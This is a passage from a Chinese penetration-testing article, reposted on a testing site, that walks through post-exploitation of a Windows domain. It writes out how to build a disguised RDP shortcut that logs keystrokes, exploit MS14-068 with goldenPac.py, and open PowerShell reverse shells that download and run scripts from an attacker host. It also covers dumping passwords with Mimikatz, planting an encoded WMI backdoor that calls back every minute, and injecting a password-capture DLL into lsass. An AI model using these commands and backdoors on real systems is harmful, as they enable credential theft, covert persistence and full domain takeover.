关闭

无弹窗渗透测试实验

发表于:2018-2-08 13:20

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:niexinming@n0tr00t    来源:安全客

  0x02 后渗透
  当我们发现一个管理员中了我们的木马:
  由于 bypass 了 uac ,所以返回的是管理员的 shell ,我们可以用 mimikatz 来把密码脱出来看看:
  由于管理员的机子不属于任何域,也不是域账号登陆,所以我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为,思路是:
  正常启动c:windowssystem32mstsc.exe,避免管理员怀疑
  由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动
  参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑
  参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步骤记录程序
  利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录
  记录一分钟后把记录的文件隐藏起来
  启动metasploit的反弹连接
  修改图标(关于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面,http://help4windows.com/windows_7_shell32_dll.shtml,可以修改传递给图标id来修改图标)
  我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,远程加载的恶意的 PowerShell 代码放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方式之后只要修改 rlnk.ps1 就可以做你想做的事情了。
  使用方法:
  看着已经生成好了,看一下效果:
  看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框,如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在 c:windowstemp 目录下会生成 log.dll ,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏:  
  
  等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用 use auxiliary/scanner/smb/smb_login 碰碰运气(看起来运气并不怎么样。。。):
  等了几天后,我们发现在这个目录下终于有东西了,下载之后看到键盘记录:
  屏幕截图记录:
  我们现在获得了一个普通域账号的账户名和密码,下面试试 MS14-068 能不能成功,参考:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/ ,用 proxychain 执行:
  goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com
  NICE!!!
  Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定。
  用得到的 shell 反弹一个 PoweShell 出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的 PowerShell :  
  powershell IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
   -Reverse -IPAddress 10.101.101.16 -port 8888
  这个时候如果你运行:
  IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  系统会报错,原因是你不能在32位的 Shell 中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:http://www.cnblogs.com/lhglihuagang/p/3930874.html,所以正确的做法是使用下面的代码来反弹一个64位的 PowerShell :  
  C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
   -Reverse -IPAddress 10.101.101.16 -port 8888
  再次运行:
  IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  成功得到域控管理员的密码,下面我们要在域控上面安装一个隐蔽的后门,参考:
  http://www.moonsec.com/post-621.html
  https://www.secpulse.com/archives/39555.html
  http://wooyun.jozxing.cc/static/drops/tips-15575.html  ;
  这里利用三好学生的方法制作一个 wmi 的后门,首先在自己的 Web 目录下写一个 mof.ps1 ,这个文件作用是用利用 wmi 的定时器的功能让系统每分钟执行一次我们的 payload,这个 mof.ps1 我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ,我还写了一个可以劫持进程的 Powershell 脚本,放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,这里我的 Payload 用一个反弹 meterpreter 连接的脚本,mof.txt:  
    <?xml version="1.0"?>
      <package>    <component id="testCalc">
      <script language="JScript">    <![CDATA[    var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==");    ]]>    </script>
      </component>    </package>
  enc编码前的内容依然是:
  IEX (New-Object System.Net.WebClient).DownloadString('
  http://10.101.101.16/chm.ps1'
  ;)
  执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹:
  Ps: 这个wmi的后门我在Win10上实验的时候不能执行 Payload ,如果触发到后门的触发条件的话, Win10 会弹出 openwith.exe 这个进程,界面上看就是这个:
  查了两天资料也没有找到一个正经的解决方法,但是后来把 openwith.exe 换成 cmd.exe 就可以执行 Payload 了,因为 win7 和 win2008 没有 openwith ,所以没有遇到什么阻力就直接执行Payload,但是 Win10 和 Win8 在正常情况下就会打开 openwith ,这个后门的清理方式可以参考:https://www.52pojie.cn/thread-607115-1-1.html
  最后,我还想放置一个后们,在域控管理员改密码的时候记录他的新密码[参考],注意他的脚本里面有一个选项可以从你的 Web 服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的 Web 服务器下面,在这个ps1最下面加入:
  Invoke-ReflectivePEInjection -PEUrl 
  http://10.101.101.16/HookPasswordChange.dll
   –procname lsass
  然后你把这个脚本的调用加入到chm.ps1里面,下面是改动之后chm.ps1里面的内容:
  IEX (New-Object System.Net.WebClient).DownloadString("
  http://10.101.101.16/HookPasswordChangeNotify.ps1"
  ;)
  IEX (New-Object System.Net.WebClient).DownloadString("
  http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"
  ;); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
  这样一方面我们可以反弹一个 meterpreter ,另一方面还可以在域管理员改密码的时候记录他的新密码:


上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号